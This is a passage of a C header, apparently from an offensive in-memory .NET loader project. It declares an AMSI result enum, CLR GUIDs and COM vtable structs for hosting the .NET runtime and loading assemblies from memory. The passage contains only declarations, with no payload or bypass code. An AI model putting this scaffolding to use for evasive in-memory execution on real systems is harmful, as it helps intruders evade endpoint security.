enum AMSI_RESULT { 7 | AMSI_RESULT_CLEAN, 8 | AMSI_RESULT_NOT_DETECTED, 9 | AMSI_RESULT_BLOCKED_BY_ADMIN_START, 10 | AMSI_RESULT_BLOCKED_BY_ADMIN_END, 11 | AMSI_RESULT_DETECTED 12 | }; 13 | 14 | /* 15 | 16 | Origin : https://github.com/anthemtotheego/InlineExecute-Assembly/blob/main/src/inlineExecute-Assembly.h 17 | 18 | */ 19 | 20 | 21 | /*CLR GUIDS, Stucts -> Mostly from https://github.com/TheWover/donut*/ 22 | static GUID xIID_AppDomain = { 23 | 0x05F696DC, 0x2B29, 0x3663, {0xAD, 0x8B, 0xC4,0x38, 0x9C, 0xF2, 0xA7, 0x13} }; 24 | 25 | static GUID xCLSID_CLRMetaHost = { 26 | 0x9280188d, 0xe8e, 0x4867, {0xb3, 0xc, 0x7f, 0xa8, 0x38, 0x84, 0xe8, 0xde} }; 27 | 28 | static GUID xIID_ICLRMetaHost = { 29 | 0xD332DB9E, 0xB9B3, 0x4125, {0x82, 0x07, 0xA1, 0x48, 0x84, 0xF5, 0x32, 0x16} }; 30 | 31 | static GUID xIID_ICLRRuntimeInfo = { 32 | 0xBD39D1D2, 0xBA2F, 0x486a, {0x89, 0xB0, 0xB4, 0xB0, 0xCB, 0x46, 0x68, 0x91} }; 33 | 34 | static GUID xIID_ICorRuntimeHost = { 35 | 0xcb2f6722, 0xab3a, 0x11d2, {0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e} }; 36 | 37 | static GUID xCLSID_CorRuntimeHost = { 38 | 0xcb2f6723, 0xab3a, 0x11d2, {0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e} }; 39 | 40 | EXTERN_GUID(IID_ICLRRuntimeInfo, 0xBD39D1D2, 0xBA2F, 0x486a, 0x89, 0xB0, 0xB4, 0xB0, 0xCB, 0x46, 0x68, 0x91); 41 | 42 | EXTERN_GUID(CLSID_CorRuntimeHost, 0xcb2f6723, 0xab3a, 0x11d2, 0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e); 43 | EXTERN_GUID(IID_ICorRuntimeHost, 0xcb2f6722, 0xab3a, 0x11d2, 0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e); 44 | 45 | 46 | 47 | typedef struct _ICLRMetaHost ICLRMetaHost; 48 | typedef struct _ICLRRuntimeInfo ICLRRuntimeInfo; 49 | typedef struct _ICorRuntimeHost ICorRuntimeHost; 50 | typedef struct _ICorConfiguration ICorConfiguration; 51 | typedef struct _IGCThreadControl IGCThreadControl; 52 | typedef struct _IGCHostControl IGCHostControl; 53 | typedef struct _IDebuggerThreadControl IDebuggerThreadControl; 54 | typedef struct _AppDomain IAppDomain; 55 | typedef struct _Assembly IAssembly; 56 | typedef struct _Type IType; 57 | typedef struct _Binder IBinder; 58 | typedef struct _MethodInfo IMethodInfo; 59 | 60 | typedef void* HDOMAINENUM; 61 | 62 | typedef HRESULT(__stdcall* CLRCreateInstanceFnPtr)( 63 | REFCLSID clsid, 64 | REFIID riid, 65 | LPVOID* ppInterface); 66 | 67 | typedef HRESULT(__stdcall* CreateInterfaceFnPtr)( 68 | REFCLSID clsid, 69 | REFIID riid, 70 | LPVOID* ppInterface); 71 | 72 | 73 | typedef HRESULT(__stdcall* CallbackThreadSetFnPtr)(void); 74 | 75 | typedef HRESULT(__stdcall* CallbackThreadUnsetFnPtr)(void); 76 | 77 | typedef void(__stdcall* RuntimeLoadedCallbackFnPtr)( 78 | ICLRRuntimeInfo* pRuntimeInfo, 79 | CallbackThreadSetFnPtr pfnCallbackThreadSet, 80 | CallbackThreadUnsetFnPtr pfnCallbackThreadUnset); 81 | 82 | #undef DUMMY_METHOD 83 | #define DUMMY_METHOD(x) HRESULT ( STDMETHODCALLTYPE *dummy_##x )(IBinder *This) 84 | 85 | typedef struct _BinderVtbl { 86 | HRESULT(STDMETHODCALLTYPE* QueryInterface)( 87 | IBinder* This, 88 | /* [in] */ REFIID riid, 89 | /* [iid_is][out] */ void** ppvObject); 90 | 91 | ULONG(STDMETHODCALLTYPE* AddRef)( 92 | IBinder* This); 93 | 94 | ULONG(STDMETHODCALLTYPE* Release)( 95 | IBinder* This); 96 | 97 | DUMMY_METHOD(GetTypeInfoCount); 98 | DUMMY_METHOD(GetTypeInfo); 99 | DUMMY_METHOD(GetIDsOfNames); 100 | DUMMY_METHOD(Invoke); 101 | DUMMY_METHOD(ToString); 102 | DUMMY_METHOD(Equals); 103 | DUMMY_METHOD(GetHashCode); 104 | DUMMY_METHOD(GetType); 105 | DUMMY_METHOD(BindToMethod); 106 | DUMMY_METHOD(BindToField); 107 | DUMMY_METHOD(SelectMethod); 108 | DUMMY_METHOD(SelectProperty); 109 | DUMMY_METHOD(ChangeType); 110 | DUMMY_METHOD(ReorderArgumentArray); 111 | } BinderVtbl; 112 | 113 | typedef struct _Binder { 114 | BinderVtbl* lpVtbl; 115 | } Binder; 116 | 117 | #undef DUMMY_METHOD 118 | #define DUMMY_METHOD(x) HRESULT ( STDMETHODCALLTYPE *dummy_##x )(IAppDomain *This) 119 | 120 | typedef struct _AppDomainVtbl { 121 | BEGIN_INTERFACE 122 | 123 | HRESULT(STDMETHODCALLTYPE* QueryInterface)( 124 | IAppDomain* This, 125 | /* [in] */ REFIID riid, 126 | /* [iid_is][out] */ void** ppvObject); 127 | 128 | ULONG(STDMETHODCALLTYPE* AddRef)( 129 | IAppDomain* This); 130 | 131 | ULONG(STDMETHODCALLTYPE* Release)( 132 | IAppDomain* This); 133 | 134 | DUMMY_METHOD(GetTypeInfoCount); 135 | DUMMY_METHOD(GetTypeInfo); 136 | DUMMY_METHOD(GetIDsOfNames); 137 | DUMMY_METHOD(Invoke); 138 | 139 | DUMMY_METHOD(ToString); 140 | DUMMY_METHOD(Equals); 141 | DUMMY_METHOD(GetHashCode); 142 | DUMMY_METHOD(GetType); 143 | DUMMY_METHOD(InitializeLifetimeService); 144 | DUMMY_METHOD(GetLifetimeService); 145 | DUMMY_METHOD(Evidence); 146 | DUMMY_METHOD(add_DomainUnload); 147 | DUMMY_METHOD(remove_DomainUnload); 148 | DUMMY_METHOD(add_AssemblyLoad); 149 | DUMMY_METHOD(remove_AssemblyLoad); 150 | DUMMY_METHOD(add_ProcessExit); 151 | DUMMY_METHOD(remove_ProcessExit); 152 | DUMMY_METHOD(add_TypeResolve); 153 | DUMMY_METHOD(remove_TypeResolve); 154 | DUMMY_METHOD(add_ResourceResolve); 155 | DUMMY_METHOD(remove_ResourceResolve); 156 | DUMMY_METHOD(add_AssemblyResolve); 157 | DUMMY_METHOD(remove_AssemblyResolve); 158 | DUMMY_METHOD(add_UnhandledException); 159 | DUMMY_METHOD(remove_UnhandledException); 160 | DUMMY_METHOD(DefineDynamicAssembly); 161 | DUMMY_METHOD(DefineDynamicAssembly_2); 162 | DUMMY_METHOD(DefineDynamicAssembly_3); 163 | DUMMY_METHOD(DefineDynamicAssembly_4); 164 | DUMMY_METHOD(DefineDynamicAssembly_5); 165 | DUMMY_METHOD(DefineDynamicAssembly_6); 166 | DUMMY_METHOD(DefineDynamicAssembly_7); 167 | DUMMY_METHOD(DefineDynamicAssembly_8); 168 | DUMMY_METHOD(DefineDynamicAssembly_9); 169 | DUMMY_METHOD(CreateInstance); 170 | DUMMY_METHOD(CreateInstanceFrom); 171 | DUMMY_METHOD(CreateInstance_2); 172 | DUMMY_METHOD(CreateInstanceFrom_2); 173 | DUMMY_METHOD(CreateInstance_3); 174 | DUMMY_METHOD(CreateInstanceFrom_3); 175 | DUMMY_METHOD(Load); 176 | DUMMY_METHOD(Load_2); 177 | 178 | HRESULT(STDMETHODCALLTYPE* Load_3)( 179 | IAppDomain* This, 180 | SAFEARRAY* rawAssembly, 181 | IAssembly** pRetVal); 182 | 183 | DUMMY_METHOD(Load_4); 184 | DUMMY_METHOD(Load_5); 185 | DUMMY_METHOD(Load_6); 186 | DUMMY_METHOD(Load_7); 187 | DUMMY_METHOD(ExecuteAssembly); 188 | DUMMY_METHOD(ExecuteAssembly_2); 189 | DUMMY_METHOD(ExecuteAssembly_3); 190 | DUMMY_METHOD(FriendlyName); 191 | DUMMY_METHOD(BaseDirectory); 192 | DUMMY_METHOD(RelativeSearchPath); 193 | DUMMY_METHOD(ShadowCopyFiles); 194 | DUMMY_METHOD(GetAssemblies); 195 | DUMMY_METHOD(AppendPrivatePath); 196 | DUMMY_METHOD(ClearPrivatePath); 197 | DUMMY_METHOD(SetShadowCopyPath); 198 | DUMMY_METHOD(ClearShadowCopyPath); 199 | DUMMY_METHOD(SetCachePath); 200 | DUMMY_METHOD(SetData); 201 | DUMMY_METHOD(GetData); 202 | DUMMY_METHOD(SetAppDomainPolicy); 203 | DUMMY_METHOD(SetThreadPrincipal); 204 | DUMMY_METHOD(SetPrincipalPolicy); 205 | DUMMY_METHOD(DoCallBack); 206 | DUMMY_METHOD(DynamicDirectory); 207 | 208 | END_INTERFACE 209 | } AppDomainVtbl; 210 | 211 | typedef struct _AppDomain { 212 | AppDomainVtbl* lpVtbl; 213 | } AppDomain; 214 | 215 | #undef DUMMY_METHOD 216 | #define DUMMY_METHOD(x) HRESULT ( STDMETHODCALLTYPE *dummy_##x )(IAssembly *This) 217 | 218 | typedef struct _AssemblyVtbl { 219 | BEGIN_INTERFACE 220 | 221 | HRESULT(STDMETHODCALLTYPE* QueryInterface)( 222 | IAssembly* This, 223 | REFIID riid, 224 | void** ppvObject); 225 | 226 | ULONG(STDMETHODCALLTYPE* AddRef)( 227 | IAssembly* This); 228 | 229 | ULONG(STDMETHODCALLTYPE* Release)( 230 | IAssembly* This); 231 | 232 | DUMMY_METHOD(GetTypeInfoCount); 233 | DUMMY_METHOD(GetTypeInfo); 234 | DUMMY_METHOD(GetIDsOfNames); 235 | 236 | DUMMY_METHOD(Invoke); 237 | DUMMY_METHOD(ToString); 238 | DUMMY_METHOD(Equals); 239 | DUMMY_METHOD(GetHashCode); 240 | DUMMY_METHOD(GetType); 241 | DUMMY_METHOD(CodeBase); 242 | DUMMY_METHOD(EscapedCodeBase); 243 | DUMMY_METHOD(GetName); 244 | DUMMY_METHOD(GetName_2); 245 | DUMMY_METHOD(FullName); 246 | 247 | HRESULT(STDMETHODCALLTYPE* EntryPoint)( 248 | IAssembly* This, 249 | IMethodInfo** pRetVal); 250 | 251 | HRESULT(STDMETHODCALLTYPE* GetType_2)( 252 | IAssembly* This, 253 | BSTR name, 254 | IType** pRetVal); 255 | 256 | DUMMY_METHOD(GetType_3); 257 | DUMMY_METHOD(GetExportedTypes); 258 | DUMMY_METHOD(GetTypes); 259 | DUMMY_METHOD(GetManifestResourceStream); 260 | DUMMY_METHOD(GetManifestResourceStream_2); 261 | DUMMY_METHOD(GetFile); 262 | DUMMY_METHOD(GetFiles); 263 | DUMMY_METHOD(GetFiles_2); 264 | DUMMY_METHOD(GetManifestResourceNames); 265 | DUMMY_METHOD(GetManifestResourceInfo); 266 | DUMMY_METHOD(Location); 267 | DUMMY_METHOD(Evidence); 268 | DUMMY_METHOD(GetCustomAttributes); 269 | DUMMY_METHOD(GetCustomAttributes_2); 270 | DUMMY_METHOD(IsDefined); 271 | DUMMY_METHOD(GetObjectData); 272 | DUMMY_METHOD(add_ModuleResolve); 273 | DUMMY_METHOD(remove_ModuleResolve); 274 | DUMMY_METHOD(GetType_4); 275 | DUMMY_METHOD(GetSatelliteAssembly); 276 | DUMMY_METHOD(GetSatelliteAssembly_2); 277 | DUMMY_METHOD(LoadModule); 278 | DUMMY_METHOD(LoadModule_2); 279 | DUMMY_METHOD(CreateInstance); 280 | DUMMY_METHOD(CreateInstance_2); 281 | DUMMY_METHOD(CreateInstance_3); 282 | DUMMY_METHOD(GetLoadedModules); 283 | DUMMY_METHOD(GetLoadedModules_2); 284 | DUMMY_METHOD(GetModules); 285 | DUMMY_METHOD(GetModules_2); 286 | DUMMY_METHOD(GetModule); 287 | DUMMY_METHOD(GetReferencedAssemblies); 288 | DUMMY_METHOD(GlobalAssemblyCache); 289 | 290 | END_INTERFACE 291 | } AssemblyVtbl; 292 | 293 | typedef enum _BindingFlags { 294 | BindingFlags_Default = 0, 295 | BindingFlags_IgnoreCase = 1, 296 | BindingFlags_DeclaredOnly = 2, 297 | BindingFlags_Instance = 4, 298 | BindingFlags_Static = 8, 299 | BindingFlags_Public = 16, 300 | BindingFlags_NonPublic = 32, 301 | BindingFlags_FlattenHierarchy = 64, 302 | BindingFlags_InvokeMethod = 256, 303 | BindingFlags_CreateInstance = 512, 304 | BindingFlags_GetField = 1024, 305 | BindingFlags_SetField = 2048, 306 | BindingFlags_GetProperty = 4096, 307 | BindingFlags_SetProperty = 8192, 308 | BindingFlags_PutDispProperty = 16384, 309 | BindingFlags_PutRefDispProperty = 32768, 310 | BindingFlags_ExactBinding = 65536, 311 | BindingFlags_SuppressChangeType = 131072, 312 | BindingFlags_OptionalParamBinding = 262144, 313 | BindingFlags_IgnoreReturn = 16777216 314 | } BindingFlags; 315 | 316 | typedef struct _Assembly { 317 | AssemblyVtbl* lpVtbl; 318 | } Assembly; 319 | 320 | #undef DUMMY_METHOD 321 | #define DUMMY_METHOD(x) HRESULT ( STDMETHODCALLTYPE *dummy_##x )(IType *This) 322 | 323 | typedef struct _TypeVtbl { 324 | BEGIN_INTERFACE 325 | 326 | HRESULT(STDMETHODCALLTYPE* QueryInterface)( 327 | IType* This, 328 | REFIID riid, 329 | void** ppvObject); 330 | 331 | ULONG(STDMETHODCALLTYPE* AddRef)( 332 | IType* This); 333 | 334 | ULONG(STDMETHODCALLTYPE* Release)( 335 | IType* This); 336 | 337 | DUMMY_METHOD(GetTypeInfoCount); 338 | DUMMY_METHOD(GetTypeInfo); 339 | DUMMY_METHOD(GetIDsOfNames); 340 | DUMMY_METHOD(Invoke); 341 | 342 | DUMMY_METHOD(ToString); 343 | DUMMY_METHOD(Equals); 344 | DUMMY_METHOD(GetHashCode); 345 | DUMMY_METHOD(GetType); 346 | DUMMY_METHOD(MemberType); 347 | DUMMY_METHOD(name); 348 | DUMMY_METHOD(DeclaringType); 349 | DUMMY_METHOD(ReflectedType); 350 | DUMMY_METHOD(GetCustomAttributes); 351 | DUMMY_METHOD(GetCustomAttributes_2); 352 | DUMMY_METHOD(IsDefined); 353 | DUMMY_METHOD(Guid); 354 | DUMMY_METHOD(Module); 355 | DUMMY_METHOD(Assembly); 356 | DUMMY_METHOD(TypeHandle); 357 | DUMMY_METHOD(FullName); 358 | DUMMY_METHOD(Namespace); 359 | DUMMY_METHOD(AssemblyQualifiedName); 360 | DUMMY_METHOD(GetArrayRank); 361 | DUMMY_METHOD(BaseType); 362 | DUMMY_METHOD(GetConstructors); 363 | DUMMY_METHOD(GetInterface); 364 | DUMMY_METHOD(GetInterfaces); 365 | DUMMY_METHOD(FindInterfaces); 366 | DUMMY_METHOD(GetEvent); 367 | DUMMY_METHOD(GetEvents); 368 | DUMMY_METHOD(GetEvents_2); 369 | DUMMY_METHOD(GetNestedTypes); 370 | DUMMY_METHOD(GetNestedType); 371 | DUMMY_METHOD(GetMember); 372 | DUMMY_METHOD(GetDefaultMembers); 373 | DUMMY_METHOD(FindMembers); 374 | DUMMY_METHOD(GetElementType); 375 | DUMMY_METHOD(IsSubclassOf); 376 | DUMMY_METHOD(IsInstanceOfType); 377 | DUMMY_METHOD(IsAssignableFrom); 378 | DUMMY_METHOD(GetInterfaceMap); 379 | DUMMY_METHOD(GetMethod); 380 | DUMMY_METHOD(GetMethod_2); 381 | DUMMY_METHOD(GetMethods); 382 | DUMMY_METHOD(GetField); 383 | DUMMY_METHOD(GetFields); 384 | DUMMY_METHOD(GetProperty); 385 | DUMMY_METHOD(GetProperty_2); 386 | DUMMY_METHOD(GetProperties); 387 | DUMMY_METHOD(GetMember_2); 388 | DUMMY_METHOD(GetMembers); 389 | DUMMY_METHOD(InvokeMember); 390 | DUMMY_METHOD(UnderlyingSystemType); 391 | DUMMY_METHOD(InvokeMember_2); 392 | 393 | HRESULT(STDMETHODCALLTYPE* InvokeMember_3)( 394 | IType* This, 395 | BSTR name, 396 | BindingFlags invokeAttr, 397 | IBinder* Binder, 398 | VARIANT Target, 399 | SAFEARRAY* args, 400 | VARIANT* pRetVal); 401 | 402 | DUMMY_METHOD(GetConstructor); 403 | DUMMY_METHOD(GetConstructor_2); 404 | DUMMY_METHOD(GetConstructor_3); 405 | DUMMY_METHOD(GetConstructors_2); 406 | DUMMY_METHOD(TypeInitializer); 407 | DUMMY_METHOD(GetMethod_3); 408 | DUMMY_METHOD(GetMethod_4); 409 | DUMMY_METHOD(GetMethod_5); 410 | DUMMY_METHOD(GetMethod_6); 411 | DUMMY_METHOD(GetMethods_2); 412 | DUMMY_METHOD(GetField_2); 413 | DUMMY_METHOD(GetFields_2); 414 | DUMMY_METHOD(GetInterface_2); 415 | DUMMY_METHOD(GetEvent_2); 416 | DUMMY_METHOD(GetProperty_3); 417 | DUMMY_METHOD(GetProperty_4); 418 | DUMMY_METHOD(GetProperty_5); 419 | DUMMY_METHOD(GetProperty_6); 420 | DUMMY_METHOD(GetProperty_7); 421 | DUMMY_METHOD(GetProperties_2); 422 | DUMMY_METHOD(GetNestedTypes_2); 423 | DUMMY_METHOD(GetNestedType_2); 424 | DUMMY_METHOD(GetMember_3); 425 | DUMMY_METHOD(GetMembers_2); 426 | DUMMY_METHOD(Attributes); 427 | DUMMY_METHOD(IsNotPublic); 428 | DUMMY_METHOD(IsPublic); 429 | DUMMY_METHOD(IsNestedPublic); 430 | DUMMY_METHOD(IsNestedPrivate); 431 | DUMMY_METHOD(IsNestedFamily); 432 | DUMMY_METHOD(IsNestedAssembly); 433 | DUMMY_METHOD(IsNestedFamANDAssem); 434 | DUMMY_METHOD(IsNestedFamORAssem); 435 | DUMMY_METHOD(IsAutoLayout); 436 | DUMMY_METHOD(IsLayoutSequential); 437 | DUMMY_METHOD(IsExplicitLayout); 438 | DUMMY_METHOD(IsClass); 439 | DUMMY_METHOD(IsInterface); 440 | DUMMY_METHOD(IsValueType); 441 | DUMMY_METHOD(IsAbstract); 442 | DUMMY_METHOD(IsSealed); 443 | DUMMY_METHOD(IsEnum); 444 | DUMMY_METHOD(IsSpecialName); 445 | DUMMY_METHOD(IsImport); 446 | DUMMY_METHOD(IsSerializable); 447 | DUMMY_METHOD(IsAnsiClass); 448 | DUMMY_METHOD(IsUnicodeClass); 449 | DUMMY_METHOD(IsAutoClass); 450 | DUMMY_METHOD(IsArray); 451 | DUMMY_METHOD(IsByRef); 452 | DUMMY_METHOD(IsPointer); 453 | DUMMY_METHOD(IsPrimitive); 454 | DUMMY_METHOD(IsCOMObject); 455 | DUMMY_METHOD(HasElementType); 456 | DUMMY_METHOD(IsContextful); 457 | DUMMY_METHOD(IsMarshalByRef); 458 | DUMMY_METHOD(Equals_2); 459 | 460 | END_INTERFACE 461 | } TypeVtbl; 462 | 463 | typedef struct ICLRRuntimeInfoVtbl 464 | { 465 | BEGIN_INTERFACE 466 | 467 | HRESULT(STDMETHODCALLTYPE* QueryInterface)( 468 | ICLRRuntimeInfo* This, 469 | /* [in] */ REFIID riid, 470 | /* [iid_is][out] */ 471 | __RPC__deref_out void** ppvObject); 472 | 473 | ULONG(STDMETHODCALLTYPE* AddRef)( 474 | ICLRRuntimeInfo* This); 475 | 476 | ULONG(STDMETHODCALLTYPE* Release)( 477 | ICLRRuntimeInfo* This); 478 | 479 | HRESULT(STDMETHODCALLTYPE* GetVersionString)( 480 | ICLRRuntimeInfo* This, 481 | /* [size_is][out] */ 482 | LPWSTR pwzBuffer, 483 | /* [out][in] */ DWORD* pcchBuffer); 484 | 485 | HRESULT(STDMETHODCALLTYPE* GetRuntimeDirectory)( 486 | ICLRRuntimeInfo* This, 487 | /* [size_is][out] */ 488 | __out_ecount_full(*pcchBuffer) LPWSTR pwzBuffer, 489 | /* [out][in] */ DWORD* pcchBuffer); 490 | 491 | HRESULT(STDMETHODCALLTYPE* IsLoaded)( 492 | ICLRRuntimeInfo* This, 493 | /* [in] */ HANDLE hndProcess, 494 | /* [retval][out] */ BOOL* pbLoaded); 495 | 496 | HRESULT(STDMETHODCALLTYPE* LoadErrorString)( 497 | ICLRRuntimeInfo* This, 498 | /* [in] */ UINT iResourceID, 499 | /* [size_is][out] */ 500 | __out_ecount_full(*pcchBuffer) LPWSTR pwzBuffer, 501 | /* [out][in] */ DWORD* pcchBuffer, 502 | /* [lcid][in] */ LONG iLocaleID); 503 | 504 | HRESULT(STDMETHODCALLTYPE* LoadLibrary)( 505 | ICLRRuntimeInfo* This, 506 | /* [in] */ LPCWSTR pwzDllName, 507 | /* [retval][out] */ HMODULE* phndModule); 508 | 509 | HRESULT(STDMETHODCALLTYPE* GetProcAddress)( 510 | ICLRRuntimeInfo* This, 511 | /* [in] */ LPCSTR pszProcName, 512 | /* [retval][out] */ LPVOID* ppProc); 513 | 514 | HRESULT(STDMETHODCALLTYPE* GetInterface)( 515 | ICLRRuntimeInfo* This, 516 | /* [in] */ REFCLSID rclsid, 517 | /* [in] */ REFIID riid, 518 | /* [retval][iid_is][out] */ LPVOID* ppUnk); 519 | 520 | HRESULT(STDMETHODCALLTYPE* IsLoadable)( 521 | ICLRRuntimeInfo* This, 522 | /* [retval][out] */ BOOL* pbLoadable); 523 | 524 | HRESULT(STDMETHODCALLTYPE* SetDefaultStartupFlags)( 525 | ICLRRuntimeInfo* This, 526 | /* [in] */ DWORD dwStartupFlags, 527 | /* [in] */ LPCWSTR pwzHostConfigFile); 528 | 529 | HRESULT(STDMETHODCALLTYPE* BindAsLegacyV2Runtime)( 530 | ICLRRuntimeInfo* This); 531 | 532 | HRESULT(STDMETHODCALLTYPE* IsStarted)( 533 | ICLRRuntimeInfo* This, 534 | /* [out] */ BOOL* pbStarted, 535 | /* [out] */ DWORD* pdwStartupFlags); 536 | 537 | END_INTERFACE 538 | } ICLRRuntimeInfoVtbl; 539 | 540 | typedef struct _ICLRRuntimeInfo { 541 | ICLRRuntimeInfoVtbl* lpVtbl; 542 | } ICLRRuntimeInfo; 543 | 544 | typedef struct _Type { 545 | TypeVtbl* lpVtbl; 546 | } Type; 547 | 548 | typedef struct ICLRMetaHostVtbl 549 | { 550 | BEGIN_INTERFACE 551 | 552 | HRESULT(STDMETHODCALLTYPE* QueryInterface)( 553 | ICLRMetaHost* This, 554 | /* [in] */ REFIID riid, 555 | /* [iid_is][out] */ 556 | __RPC__deref_out void** ppvObject); 557 | 558 | ULONG(STDMETHODCALLTYPE* AddRef)( 559 | ICLRMetaHost* This); 560 | 561 | ULONG(STDMETHODCALLTYPE* Release)( 562 | ICLRMetaHost* This); 563 | 564 | HRESULT(STDMETHODCALLTYPE* GetRuntime)( 565 | ICLRMetaHost* This, 566 | /* [in] */ LPCWSTR pwzVersion, 567 | /* [in] */ REFIID riid, 568 | /* [retval][iid_is][out] */ LPVOID* ppRuntime); 569 | 570 | HRESULT(STDMETHODCALLTYPE* GetVersionFromFile)( 571 | ICLRMetaHost* This, 572 | /* [in] */ LPCWSTR pwzFilePath, 573 | /* [size_is][out] */ 574 | __out_ecount_full(*pcchBuffer) LPWSTR pwzBuffer, 575 | /* [out][in] */ DWORD* pcchBuffer); 576 | 577 | HRESULT(STDMETHODCALLTYPE* EnumerateInstalledRuntimes)( 578 | ICLRMetaHost* This, 579 | /* [retval][out] */ IEnumUnknown** ppEnumerator); 580 | 581 | HRESULT(STDMETHODCALLTYPE* EnumerateLoadedRuntimes)( 582 | ICLRMetaHost* This, 583 | /* [in] */ HANDLE hndProcess, 584 | /* [retval][out] */ IEnumUnknown** ppEnumerator); 585 | 586 | HRESULT(STDMETHODCALLTYPE* RequestRuntimeLoadedNotification)( 587 | ICLRMetaHost* This, 588 | /* [in] */ RuntimeLoadedCallbackFnPtr pCallbackFunction); 589 | 590 | HRESULT(STDMETHODCALLTYPE* QueryLegacyV2RuntimeBinding)( 591 | ICLRMetaHost* This, 592 | /* [in] */ REFIID riid, 593 | /* [retval][iid_is][out] */ LPVOID* ppUnk); 594 | 595 | HRESULT(STDMETHODCALLTYPE* ExitProcess)( 596 | ICLRMetaHost* This, 597 | /* [in] */ INT32 iExitCode); 598 | 599 | END_INTERFACE 600 | } ICLRMetaHostVtbl; 601 | 602 | typedef struct _ICLRMetaHost 603 | { 604 | ICLRMetaHostVtbl* lpVtbl; 605 | } ICLRMetaHost; 606 | 607 | typedef struct ICorRuntimeHostVtbl 608 | { 609 | BEGIN_INTERFACE 610 | 611 | HRESULT(STDMETHODCALLTYPE* QueryInterface)( 612 | ICorRuntimeHost* This, 613 | /* [in] */ REFIID riid, 614 | /* [iid_is][out] */ 615 | __RPC__deref_out void** ppvObject); 616 | 617 | ULONG(STDMETHODCALLTYPE* AddRef)( 618 | ICorRuntimeHost* This); 619 | 620 | ULONG(STDMETHODCALLTYPE* Release)( 621 | ICorRuntimeHost* This); 622 | 623 | HRESULT(STDMETHODCALLTYPE* CreateLogicalThreadState)( 624 | ICorRuntimeHost* This); 625 | 626 | HRESULT(STDMETHODCALLTYPE* DeleteLogicalThreadState)( 627 | ICorRuntimeHost* This); 628 | 629 | HRESULT(STDMETHODCALLTYPE* SwitchInLogicalThreadState)( 630 | ICorRuntimeHost* This, 631 | /* [in] */ DWORD* pFiberCookie); 632 | 633 | HRESULT(STDMETHODCALLTYPE* SwitchOutLogicalThreadState)( 634 | ICorRuntimeHost* This, 635 | /* [out] */ DWORD** pFiberCookie); 636 | 637 | HRESULT(STDMETHODCALLTYPE* LocksHeldByLogicalThread)( 638 | ICorRuntimeHost* This, 639 | /* [out] */ DWORD* pCount); 640 | 641 | HRESULT(STDMETHODCALLTYPE* MapFile)( 642 | ICorRuntimeHost* This, 643 | /* [in] */ HANDLE hFile, 644 | /* [out] */ HMODULE* hMapAddress); 645 | 646 | HRESULT(STDMETHODCALLTYPE* GetConfiguration)( 647 | ICorRuntimeHost* This, 648 | /* [out] */ ICorConfiguration** pConfiguration); 649 | 650 | HRESULT(STDMETHODCALLTYPE* Start)( 651 | ICorRuntimeHost* This); 652 | 653 | HRESULT(STDMETHODCALLTYPE* Stop)( 654 | ICorRuntimeHost* This); 655 | 656 | HRESULT(STDMETHODCALLTYPE* CreateDomain)( 657 | ICorRuntimeHost* This, 658 | /* [in] */ LPCWSTR pwzFriendlyName, 659 | /* [in] */ IUnknown* pIdentityArray, 660 | /* [out] */ IUnknown** pAppDomain); 661 | 662 | HRESULT(STDMETHODCALLTYPE* GetDefaultDomain)( 663 | ICorRuntimeHost* This, 664 | /* [out] */ IUnknown** pAppDomain); 665 | 666 | HRESULT(STDMETHODCALLTYPE* EnumDomains)( 667 | ICorRuntimeHost* This, 668 | /* [out] */ HDOMAINENUM* hEnum); 669 | 670 | HRESULT(STDMETHODCALLTYPE* NextDomain)( 671 | ICorRuntimeHost* This, 672 | /* [in] */ HDOMAINENUM hEnum, 673 | /* [out] */ IUnknown** pAppDomain); 674 | 675 | HRESULT(STDMETHODCALLTYPE* CloseEnum)( 676 | ICorRuntimeHost* This, 677 | /* [in] */ HDOMAINENUM hEnum); 678 | 679 | HRESULT(STDMETHODCALLTYPE* CreateDomainEx)( 680 | ICorRuntimeHost* This, 681 | /* [in] */ LPCWSTR pwzFriendlyName, 682 | /* [in] */ IUnknown* pSetup, 683 | /* [in] */ IUnknown* pEvidence, 684 | /* [out] */ IUnknown** pAppDomain); 685 | 686 | HRESULT(STDMETHODCALLTYPE* CreateDomainSetup)( 687 | ICorRuntimeHost* This, 688 | /* [out] */ IUnknown** pAppDomainSetup); 689 | 690 | HRESULT(STDMETHODCALLTYPE* CreateEvidence)( 691 | ICorRuntimeHost* This, 692 | /* [out] */ IUnknown** pEvidence); 693 | 694 | HRESULT(STDMETHODCALLTYPE* UnloadDomain)( 695 | ICorRuntimeHost* This, 696 | /* [in] */ IUnknown* pAppDomain); 697 | 698 | HRESULT(STDMETHODCALLTYPE* CurrentDomain)( 699 | ICorRuntimeHost* This, 700 | /* [out] */ IUnknown** pAppDomain); 701 | 702 | END_INTERFACE 703 | } ICorRuntimeHostVtbl; 704 | 705 | typedef struct _ICorRuntimeHost { 706 | ICorRuntimeHostVtbl* lpVtbl; 707 | } ICorRuntimeHost; 708 | 709 | #undef DUMMY_METHOD 710 | #define DUMMY_METHOD(x) HRESULT ( STDMETHODCALLTYPE *dummy_##x )(IMethodInfo *This) 711 | 712 | typedef struct _MethodInfoVtbl { 713 | BEGIN_INTERFACE 714 | 715 | HRESULT(STDMETHODCALLTYPE* QueryInterface)( 716 | IMethodInfo* This, 717 | /* [in] */ REFIID riid, 718 | /* [iid_is][out] */ 719 | __RPC__deref_out void** ppvObject); 720 | 721 | ULONG(STDMETHODCALLTYPE* AddRef)( 722 | IMethodInfo* This); 723 | 724 | ULONG(STDMETHODCALLTYPE* Release)( 725 | IMethodInfo* This); 726 | 727 | DUMMY_METHOD(GetTypeInfoCount); 728 | DUMMY_METHOD(GetTypeInfo); 729 | DUMMY_METHOD(GetIDsOfNames); 730 | DUMMY_METHOD(Invoke); 731 | 732 | DUMMY_METHOD(ToString); 733 | DUMMY_METHOD(Equals); 734 | DUMMY_METHOD(GetHashCode); 735 | DUMMY_METHOD(GetType); 736 | DUMMY_METHOD(MemberType); 737 | DUMMY_METHOD(name); 738 | DUMMY_METHOD(DeclaringType); 739 | DUMMY_METHOD(ReflectedType); 740 | DUMMY_METHOD(GetCustomAttributes); 741 | DUMMY_METHOD(GetCustomAttributes_2); 742 | DUMMY_METHOD(IsDefined); 743 | 744 | HRESULT(STDMETHODCALLTYPE* GetParameters)( 745 | IMethodInfo* This, 746 | SAFEARRAY** pRetVal); 747 